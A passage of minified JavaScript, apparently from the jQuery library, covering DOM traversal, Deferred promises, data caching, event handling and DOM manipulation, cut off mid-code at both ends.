r>1?w.uniqueSort(n):n},filter:function(e){return this.pushStack(j(this,e||[],!1))},not:function(e){return this.pushStack(j(this,e||[],!0))},is:function(e){return!!j(this,"string"==typeof e&&D.test(e)?w(e):e||[],!1).length}});var q,L=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(w.fn.init=function(e,t,n){var i,o;if(!e)return this;if(n=n||q,"string"==typeof e){if(!(i="<"===e[0]&&">"===e[e.length-1]&&e.length>=3?[null,e,null]:L.exec(e))||!i[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(i[1]){if(t=t instanceof w?t[0]:t,w.merge(this,w.parseHTML(i[1],t&&t.nodeType?t.ownerDocument||t:r,!0)),A.test(i[1])&&w.isPlainObject(t))for(i in t)g(this[i])?this[i](t[i]):this.attr(i,t[i]);return this}return(o=r.getElementById(i[2]))&&(this[0]=o,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):g(e)?void 0!==n.ready?n.ready(e):e(w):w.makeArray(e,this)}).prototype=w.fn,q=w(r);var H=/^(?:parents|prev(?:Until|All))/,O={children:!0,contents:!0,next:!0,prev:!0};w.fn.extend({has:function(e){var t=w(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(w.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a="string"!=typeof e&&w(e);if(!D.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?a.index(n)>-1:1===n.nodeType&&w.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(o.length>1?w.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?u.call(w(e),this[0]):u.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(w.uniqueSort(w.merge(this.get(),w(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function P(e,t){while((e=e[t])&&1!==e.nodeType);return e}w.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return k(e,"parentNode")},parentsUntil:function(e,t,n){return k(e,"parentNode",n)},next:function(e){return P(e,"nextSibling")},prev:function(e){return P(e,"previousSibling")},nextAll:function(e){return k(e,"nextSibling")},prevAll:function(e){return k(e,"previousSibling")},nextUntil:function(e,t,n){return k(e,"nextSibling",n)},prevUntil:function(e,t,n){return k(e,"previousSibling",n)},siblings:function(e){return S((e.parentNode||{}).firstChild,e)},children:function(e){return S(e.firstChild)},contents:function(e){return N(e,"iframe")?e.contentDocument:(N(e,"template")&&(e=e.content||e),w.merge([],e.childNodes))}},function(e,t){w.fn[e]=function(n,r){var i=w.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=w.filter(r,i)),this.length>1&&(O[e]||w.uniqueSort(i),H.test(e)&&i.reverse()),this.pushStack(i)}});var M=/[^\x20\t\r\n\f]+/g;function R(e){var t={};return w.each(e.match(M)||[],function(e,n){t[n]=!0}),t}w.Callbacks=function(e){e="string"==typeof e?R(e):w.extend({},e);var t,n,r,i,o=[],a=[],s=-1,u=function(){for(i=i||e.once,r=t=!0;a.length;s=-1){n=a.shift();while(++s<o.length)!1===o[s].apply(n[0],n[1])&&e.stopOnFalse&&(s=o.length,n=!1)}e.memory||(n=!1),t=!1,i&&(o=n?[]:"")},l={add:function(){return o&&(n&&!t&&(s=o.length-1,a.push(n)),function t(n){w.each(n,function(n,r){g(r)?e.unique&&l.has(r)||o.push(r):r&&r.length&&"string"!==x(r)&&t(r)})}(arguments),n&&!t&&u()),this},remove:function(){return w.each(arguments,function(e,t){var n;while((n=w.inArray(t,o,n))>-1)o.splice(n,1),n<=s&&s--}),this},has:function(e){return e?w.inArray(e,o)>-1:o.length>0},empty:function(){return o&&(o=[]),this},disable:function(){return i=a=[],o=n="",this},disabled:function(){return!o},lock:function(){return i=a=[],n||t||(o=n=""),this},locked:function(){return!!i},fireWith:function(e,n){return i||(n=[e,(n=n||[]).slice?n.slice():n],a.push(n),t||u()),this},fire:function(){return l.fireWith(this,arguments),this},fired:function(){return!!r}};return l};function I(e){return e}function W(e){throw e}function $(e,t,n,r){var i;try{e&&g(i=e.promise)?i.call(e).done(t).fail(n):e&&g(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}w.extend({Deferred:function(t){var n=[["notify","progress",w.Callbacks("memory"),w.Callbacks("memory"),2],["resolve","done",w.Callbacks("once memory"),w.Callbacks("once memory"),0,"resolved"],["reject","fail",w.Callbacks("once memory"),w.Callbacks("once memory"),1,"rejected"]],r="pending",i={state:function(){return r},always:function(){return o.done(arguments).fail(arguments),this},"catch":function(e){return i.then(null,e)},pipe:function(){var e=arguments;return w.Deferred(function(t){w.each(n,function(n,r){var i=g(e[r[4]])&&e[r[4]];o[r[1]](function(){var e=i&&i.apply(this,arguments);e&&g(e.promise)?e.promise().progress(t.notify).done(t.resolve).fail(t.reject):t[r[0]+"With"](this,i?[e]:arguments)})}),e=null}).promise()},then:function(t,r,i){var o=0;function a(t,n,r,i){return function(){var s=this,u=arguments,l=function(){var e,l;if(!(t<o)){if((e=r.apply(s,u))===n.promise())throw new TypeError("Thenable self-resolution");l=e&&("object"==typeof e||"function"==typeof e)&&e.then,g(l)?i?l.call(e,a(o,n,I,i),a(o,n,W,i)):(o++,l.call(e,a(o,n,I,i),a(o,n,W,i),a(o,n,I,n.notifyWith))):(r!==I&&(s=void 0,u=[e]),(i||n.resolveWith)(s,u))}},c=i?l:function(){try{l()}catch(e){w.Deferred.exceptionHook&&w.Deferred.exceptionHook(e,c.stackTrace),t+1>=o&&(r!==W&&(s=void 0,u=[e]),n.rejectWith(s,u))}};t?c():(w.Deferred.getStackHook&&(c.stackTrace=w.Deferred.getStackHook()),e.setTimeout(c))}}return w.Deferred(function(e){n[0][3].add(a(0,e,g(i)?i:I,e.notifyWith)),n[1][3].add(a(0,e,g(t)?t:I)),n[2][3].add(a(0,e,g(r)?r:W))}).promise()},promise:function(e){return null!=e?w.extend(e,i):i}},o={};return w.each(n,function(e,t){var a=t[2],s=t[5];i[t[1]]=a.add,s&&a.add(function(){r=s},n[3-e][2].disable,n[3-e][3].disable,n[0][2].lock,n[0][3].lock),a.add(t[3].fire),o[t[0]]=function(){return o[t[0]+"With"](this===o?void 0:this,arguments),this},o[t[0]+"With"]=a.fireWith}),i.promise(o),t&&t.call(o,o),o},when:function(e){var t=arguments.length,n=t,r=Array(n),i=o.call(arguments),a=w.Deferred(),s=function(e){return function(n){r[e]=this,i[e]=arguments.length>1?o.call(arguments):n,--t||a.resolveWith(r,i)}};if(t<=1&&($(e,a.done(s(n)).resolve,a.reject,!t),"pending"===a.state()||g(i[n]&&i[n].then)))return a.then();while(n--)$(i[n],s(n),a.reject);return a.promise()}});var B=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;w.Deferred.exceptionHook=function(t,n){e.console&&e.console.warn&&t&&B.test(t.name)&&e.console.warn("jQuery.Deferred exception: "+t.message,t.stack,n)},w.readyException=function(t){e.setTimeout(function(){throw t})};var F=w.Deferred();w.fn.ready=function(e){return F.then(e)["catch"](function(e){w.readyException(e)}),this},w.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--w.readyWait:w.isReady)||(w.isReady=!0,!0!==e&&--w.readyWait>0||F.resolveWith(r,[w]))}}),w.ready.then=F.then;function _(){r.removeEventListener("DOMContentLoaded",_),e.removeEventListener("load",_),w.ready()}"complete"===r.readyState||"loading"!==r.readyState&&!r.documentElement.doScroll?e.setTimeout(w.ready):(r.addEventListener("DOMContentLoaded",_),e.addEventListener("load",_));var z=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===x(n)){i=!0;for(s in n)z(e,t,s,n[s],!0,o,a)}else if(void 0!==r&&(i=!0,g(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(w(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},X=/^-ms-/,U=/-([a-z])/g;function V(e,t){return t.toUpperCase()}function G(e){return e.replace(X,"ms-").replace(U,V)}var Y=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function Q(){this.expando=w.expando+Q.uid++}Q.uid=1,Q.prototype={cache:function(e){var t=e[this.expando];return t||(t={},Y(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[G(t)]=n;else for(r in t)i[G(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][G(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(G):(t=G(t))in r?[t]:t.match(M)||[]).length;while(n--)delete r[t[n]]}(void 0===t||w.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!w.isEmptyObject(t)}};var J=new Q,K=new Q,Z=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,ee=/[A-Z]/g;function te(e){return"true"===e||"false"!==e&&("null"===e?null:e===+e+""?+e:Z.test(e)?JSON.parse(e):e)}function ne(e,t,n){var r;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(ee,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n=te(n)}catch(e){}K.set(e,t,n)}else n=void 0;return n}w.extend({hasData:function(e){return K.hasData(e)||J.hasData(e)},data:function(e,t,n){return K.access(e,t,n)},removeData:function(e,t){K.remove(e,t)},_data:function(e,t,n){return J.access(e,t,n)},_removeData:function(e,t){J.remove(e,t)}}),w.fn.extend({data:function(e,t){var n,r,i,o=this[0],a=o&&o.attributes;if(void 0===e){if(this.length&&(i=K.get(o),1===o.nodeType&&!J.get(o,"hasDataAttrs"))){n=a.length;while(n--)a[n]&&0===(r=a[n].name).indexOf("data-")&&(r=G(r.slice(5)),ne(o,r,i[r]));J.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof e?this.each(function(){K.set(this,e)}):z(this,function(t){var n;if(o&&void 0===t){if(void 0!==(n=K.get(o,e)))return n;if(void 0!==(n=ne(o,e)))return n}else this.each(function(){K.set(this,e,t)})},null,t,arguments.length>1,null,!0)},removeData:function(e){return this.each(function(){K.remove(this,e)})}}),w.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=J.get(e,t),n&&(!r||Array.isArray(n)?r=J.access(e,t,w.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=w.queue(e,t),r=n.length,i=n.shift(),o=w._queueHooks(e,t),a=function(){w.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return J.get(e,n)||J.access(e,n,{empty:w.Callbacks("once memory").add(function(){J.remove(e,[t+"queue",n])})})}}),w.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length<n?w.queue(this[0],e):void 0===t?this:this.each(function(){var n=w.queue(this,e,t);w._queueHooks(this,e),"fx"===e&&"inprogress"!==n[0]&&w.dequeue(this,e)})},dequeue:function(e){return this.each(function(){w.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=w.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=void 0),e=e||"fx";while(a--)(n=J.get(o[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var re=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,ie=new RegExp("^(?:([+-])=|)("+re+")([a-z%]*)$","i"),oe=["Top","Right","Bottom","Left"],ae=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&w.contains(e.ownerDocument,e)&&"none"===w.css(e,"display")},se=function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i};function ue(e,t,n,r){var i,o,a=20,s=r?function(){return r.cur()}:function(){return w.css(e,t,"")},u=s(),l=n&&n[3]||(w.cssNumber[t]?"":"px"),c=(w.cssNumber[t]||"px"!==l&&+u)&&ie.exec(w.css(e,t));if(c&&c[3]!==l){u/=2,l=l||c[3],c=+u||1;while(a--)w.style(e,t,c+l),(1-o)*(1-(o=s()/u||.5))<=0&&(a=0),c/=o;c*=2,w.style(e,t,c+l),n=n||[]}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var le={};function ce(e){var t,n=e.ownerDocument,r=e.nodeName,i=le[r];return i||(t=n.body.appendChild(n.createElement(r)),i=w.css(t,"display"),t.parentNode.removeChild(t),"none"===i&&(i="block"),le[r]=i,i)}function fe(e,t){for(var n,r,i=[],o=0,a=e.length;o<a;o++)(r=e[o]).style&&(n=r.style.display,t?("none"===n&&(i[o]=J.get(r,"display")||null,i[o]||(r.style.display="")),""===r.style.display&&ae(r)&&(i[o]=ce(r))):"none"!==n&&(i[o]="none",J.set(r,"display",n)));for(o=0;o<a;o++)null!=i[o]&&(e[o].style.display=i[o]);return e}w.fn.extend({show:function(){return fe(this,!0)},hide:function(){return fe(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){ae(this)?w(this).show():w(this).hide()})}});var pe=/^(?:checkbox|radio)$/i,de=/<([a-z][^\/\0>\x20\t\r\n\f]+)/i,he=/^$|^module$|\/(?:java|ecma)script/i,ge={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};ge.optgroup=ge.option,ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td;function ye(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&N(e,t)?w.merge([e],n):n}function ve(e,t){for(var n=0,r=e.length;n<r;n++)J.set(e[n],"globalEval",!t||J.get(t[n],"globalEval"))}var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d<h;d++)if((o=e[d])||0===o)if("object"===x(o))w.merge(p,o.nodeType?[o]:o);else if(me.test(o)){a=a||f.appendChild(t.createElement("div")),s=(de.exec(o)||["",""])[1].toLowerCase(),u=ge[s]||ge._default,a.innerHTML=u[1]+w.htmlPrefilter(o)+u[2],c=u[0];while(c--)a=a.lastChild;w.merge(p,a.childNodes),(a=f.firstChild).textContent=""}else p.push(t.createTextNode(o));f.textContent="",d=0;while(o=p[d++])if(r&&w.inArray(o,r)>-1)i&&i.push(o);else if(l=w.contains(o.ownerDocument,o),a=ye(f.appendChild(o),"script"),l&&ve(a),n){c=0;while(o=a[c++])he.test(o.type||"")&&n.push(o)}return f}!function(){var e=r.createDocumentFragment().appendChild(r.createElement("div")),t=r.createElement("input");t.setAttribute("type","radio"),t.setAttribute("checked","checked"),t.setAttribute("name","t"),e.appendChild(t),h.checkClone=e.cloneNode(!0).cloneNode(!0).lastChild.checked,e.innerHTML="<textarea>x</textarea>",h.noCloneChecked=!!e.cloneNode(!0).lastChild.defaultValue}();var be=r.documentElement,we=/^key/,Te=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Ce=/^([^.]*)(?:\.(.+)|)/;function Ee(){return!0}function ke(){return!1}function Se(){try{return r.activeElement}catch(e){}}function De(e,t,n,r,i,o){var a,s;if("object"==typeof t){"string"!=typeof n&&(r=r||n,n=void 0);for(s in t)De(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=ke;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return w().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=w.guid++)),e.each(function(){w.event.add(this,t,i,r,n)})}w.event={global:{},add:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=J.get(e);if(y){n.handler&&(n=(o=n).handler,i=o.selector),i&&w.find.matchesSelector(be,i),n.guid||(n.guid=w.guid++),(u=y.events)||(u=y.events={}),(a=y.handle)||(a=y.handle=function(t){return"undefined"!=typeof w&&w.event.triggered!==t.type?w.event.dispatch.apply(e,arguments):void 0}),l=(t=(t||"").match(M)||[""]).length;while(l--)d=g=(s=Ce.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=w.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=w.event.special[d]||{},c=w.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&w.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(e,r,h,a)||e.addEventListener&&e.addEventListener(d,a)),f.add&&(f.add.call(e,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),w.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=J.hasData(e)&&J.get(e);if(y&&(u=y.events)){l=(t=(t||"").match(M)||[""]).length;while(l--)if(s=Ce.exec(t[l])||[],d=g=s[1],h=(s[2]||"").split(".").sort(),d){f=w.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,y.handle)||w.removeEvent(e,d,y.handle),delete u[d])}else for(d in u)w.event.remove(e,d+t[l],n,r,!0);w.isEmptyObject(u)&&J.remove(e,"handle events")}},dispatch:function(e){var t=w.event.fix(e),n,r,i,o,a,s,u=new Array(arguments.length),l=(J.get(this,"events")||{})[t.type]||[],c=w.event.special[t.type]||{};for(u[0]=t,n=1;n<arguments.length;n++)u[n]=arguments[n];if(t.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,t)){s=w.event.handlers.call(this,t,l),n=0;while((o=s[n++])&&!t.isPropagationStopped()){t.currentTarget=o.elem,r=0;while((a=o.handlers[r++])&&!t.isImmediatePropagationStopped())t.rnamespace&&!t.rnamespace.test(a.namespace)||(t.handleObj=a,t.data=a.data,void 0!==(i=((w.event.special[a.origType]||{}).handle||a.handler).apply(o.elem,u))&&!1===(t.result=i)&&(t.preventDefault(),t.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,t),t.result}},handlers:function(e,t){var n,r,i,o,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&e.button>=1))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<u;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?w(i,this).index(l)>-1:w.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u<t.length&&s.push({elem:l,handlers:t.slice(u)}),s},addProp:function(e,t){Object.defineProperty(w.Event.prototype,e,{enumerable:!0,configurable:!0,get:g(t)?function(){if(this.originalEvent)return t(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[e]},set:function(t){Object.defineProperty(this,e,{enumerable:!0,configurable:!0,writable:!0,value:t})}})},fix:function(e){return e[w.expando]?e:new w.Event(e)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==Se()&&this.focus)return this.focus(),!1},delegateType:"focusin"},blur:{trigger:function(){if(this===Se()&&this.blur)return this.blur(),!1},delegateType:"focusout"},click:{trigger:function(){if("checkbox"===this.type&&this.click&&N(this,"input"))return this.click(),!1},_default:function(e){return N(e.target,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},w.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},w.Event=function(e,t){if(!(this instanceof w.Event))return new w.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?Ee:ke,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&w.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[w.expando]=!0},w.Event.prototype={constructor:w.Event,isDefaultPrevented:ke,isPropagationStopped:ke,isImmediatePropagationStopped:ke,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=Ee,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=Ee,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=Ee,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},w.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(e){var t=e.button;return null==e.which&&we.test(e.type)?null!=e.charCode?e.charCode:e.keyCode:!e.which&&void 0!==t&&Te.test(e.type)?1&t?1:2&t?3:4&t?2:0:e.which}},w.event.addProp),w.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,t){w.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return i&&(i===r||w.contains(r,i))||(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),w.fn.extend({on:function(e,t,n,r){return De(this,e,t,n,r)},one:function(e,t,n,r){return De(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,w(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=ke),this.each(function(){w.event.remove(this,e,n,t)})}});var Ne=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,Ae=/<script|<style|<link/i,je=/checked\s*(?:[^=]|=\s*.checked.)/i,qe=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function Le(e,t){return N(e,"table")&&N(11!==t.nodeType?t:t.firstChild,"tr")?w(e).children("tbody")[0]||e:e}function He(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function Oe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Pe(e,t){var n,r,i,o,a,s,u,l;if(1===t.nodeType){if(J.hasData(e)&&(o=J.access(e),a=J.set(t,o),l=o.events)){delete a.handle,a.events={};for(i in l)for(n=0,r=l[i].length;n<r;n++)w.event.add(t,i,l[i][n])}K.hasData(e)&&(s=K.access(e),u=w.extend({},s),K.set(t,u))}}function Me(e,t){var n=t.nodeName.toLowerCase();"input"===n&&pe.test(e.type)?t.checked=e.checked:"input"!==n&&"textarea"!==n||(t.defaultValue=e.defaultValue)}function Re(e,t,n,r){t=a.apply([],t);var i,o,s,u,l,c,f=0,p=e.length,d=p-1,y=t[0],v=g(y);if(v||p>1&&"string"==typeof y&&!h.checkClone&&je.test(y))return e.each(function(i){var o=e.eq(i);v&&(t[0]=y.call(this,i,o.html())),Re(o,t,n,r)});if(p&&(i=xe(t,e[0].ownerDocument,!1,e,r),o=i.firstChild,1===i.childNodes.length&&(i=o),o||r)){for(u=(s=w.map(ye(i,"script"),He)).length;f<p;f++)l=i,f!==d&&(l=w.clone(l,!0,!0),u&&w.merge(s,ye(l,"script"))),n.call(e[f],l,f);if(u)for(c=s[s.length-1].ownerDocument,w.map(s,Oe),f=0;f<u;f++)l=s[f],he.test(l.type||"")&&!J.access(l,"globalEval")&&w.contains(c,l)&&(l.src&&"module"!==(l.type||"").toLowerCase()?w._evalUrl&&w._evalUrl(l.src):m(l.textContent.replace(qe,""),c,l))}return e}function Ie(e,t,n){for(var r,i=t?w.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||w.cleanData(ye(r)),r.parentNode&&(n&&w.contains(r.ownerDocument,r)&&ve(ye(r,"script")),r.parentNode.removeChild(r));return e}w.extend({htmlPrefilter:function(e){return e.replace(Ne,"<$1></$2>")},clone:function(e,t,n){var r,i,o,a,s=e.cloneNode(!0),u=w.contains(e.ownerDocument,e);if(!(h.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||w.isXMLDoc(e)))for(a=ye(s),r=0,i=(o=ye(e)).length;r<i;r++)Me(o[r],a[r]);if(t)if(n)for(o=o||ye(e),a=a||ye(s),r=0,i=o.length;r<i;r++)Pe(o[r],a[r]);else Pe(e,s);return(a=ye(s,"script")).length>0&&ve(a,!u&&ye(e,"script")),s},cleanData:function(e){for(var t,n,r,i=w.event.special,o=0;void 0!==(n=e[o]);o++)if(Y(n)){if(t=n[J.expando]){if(t.events)for(r in t.events)i[r]?w.event.remove(n,r):w.removeEvent(n,r,t.handle);n[J.expando]=void 0}n[K.expando]&&(n[K.expando]=void 0)}}}),w.fn.extend({detach:function(e){return Ie(this,e,!0)},remove:function(e){return Ie(this,e)},text:function(e){return z(this,function(e){return void 0===e?w.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return Re(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||Le(this,e).appendChild(e)})},prepend:function(){return Re(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Le(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(w.cleanData(ye(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return w.clone(this,e,t)})},html:function(e){return z(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!Ae.test(e)&&!ge[(de.exec(e)||["",""])[1].toLowerCase()]){e=w.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(w.cleanData(ye(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=[];return Re(this,arguments,function(t){var n=this.parentNode;w.inArray(this,e)<0&&(w.cleanData(ye(this)),n&&n.replaceChild(t,this))},e)}}),w.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){w.fn[e]=function(e){for(var n,r=[],i=w(e),o=i.length-1,a=0;a<=o;a++)n=a===o?this:this.clone(!0),w(i[a])[t](n),s.apply(r,n.get());return this.pushStack(r)}});var We=new RegExp("^("+re+")(?!px)[a-z%]+$","i"),$e=function(t){var n=t.ownerDocument.defaultView;return n&&n.opener||(n=e),n.getComputedStyle(t)},Be=new RegExp(oe.join("|"),"i");!function(){function t(){if(c){l.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",c.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",be.appendChild(l).appendChild(c);var t=e.getComputedStyle(c);i="1%"!==t.top,u=12===n(t.marginLeft),c.style.right="60%",s=36===n(t.right),o=36===n(t.width),c.style.position="absolute",a=36===c.offsetWidth||"absolute",be.removeChild(l),c=null}}function n(e){return Math.round(parseFloat(e))}var i,o,a,s,u,l=r.createElement("div"),c=r.createElement("div");c.style&&(c.style.backgroundClip="content-box",c.cloneNode(!0).style.backgroundClip="",h.clearCloneStyle="content-box"===c.style.backgroundClip,w.extend(h,{boxSizingReliable:function(){return t(),o},pixelBoxStyles:function(){return t(),s},pixelPosition:function(){return t(),i},reliableMarginLeft:function(){return t(),u},scrollboxSize:function(){return t(),a}}))}();function 